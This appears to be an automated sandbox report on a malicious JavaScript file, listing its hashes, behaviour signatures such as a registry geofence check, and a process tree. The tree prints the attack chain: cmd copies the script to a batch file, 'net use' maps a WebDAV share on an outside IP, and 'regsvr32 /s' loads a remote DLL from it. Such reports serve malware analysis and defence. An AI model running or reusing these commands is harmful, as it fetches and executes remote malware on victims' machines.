Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 15:48

General

  • Target

    2641610749201874326.js

  • Size

    5KB

  • MD5

    f20233bda1fd3e53a40e05a5a9d236e7

  • SHA1

    5215f5c34a368d1e9102fc97aef2d97e4bdefcb2

  • SHA256

    3e0ab7ce7fb55bb3a6a69c318365543076ade023768307afe3b8b0cd79867323

  • SHA512

    34805650d0a922446cd8a0941df449ff733be3c4a1be8a3f7336d2b0432756e1e5c665f58c347485b37307fb6c1470328a21df9abe6671ff7c3850fc1a3a534e

  • SSDEEP

    96:HLJBFmeFOXWLrajCJEBTO99x4EBTO99x0cJ5PIDxwIYA43N9C3mkk3:9XmexL2e2BqHBq0EIDxO3zbkk3

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2641610749201874326.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1540
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2641610749201874326.js" "C:\Users\Admin\\fvqutl.bat" && "C:\Users\Admin\\fvqutl.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4920
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:1564
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\850.dll
          3⤵
            PID:2392

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\fvqutl.bat

              Filesize

              5KB

              MD5

              f20233bda1fd3e53a40e05a5a9d236e7

              SHA1

              5215f5c34a368d1e9102fc97aef2d97e4bdefcb2

              SHA256

              3e0ab7ce7fb55bb3a6a69c318365543076ade023768307afe3b8b0cd79867323

              SHA512

              34805650d0a922446cd8a0941df449ff733be3c4a1be8a3f7336d2b0432756e1e5c665f58c347485b37307fb6c1470328a21df9abe6671ff7c3850fc1a3a534e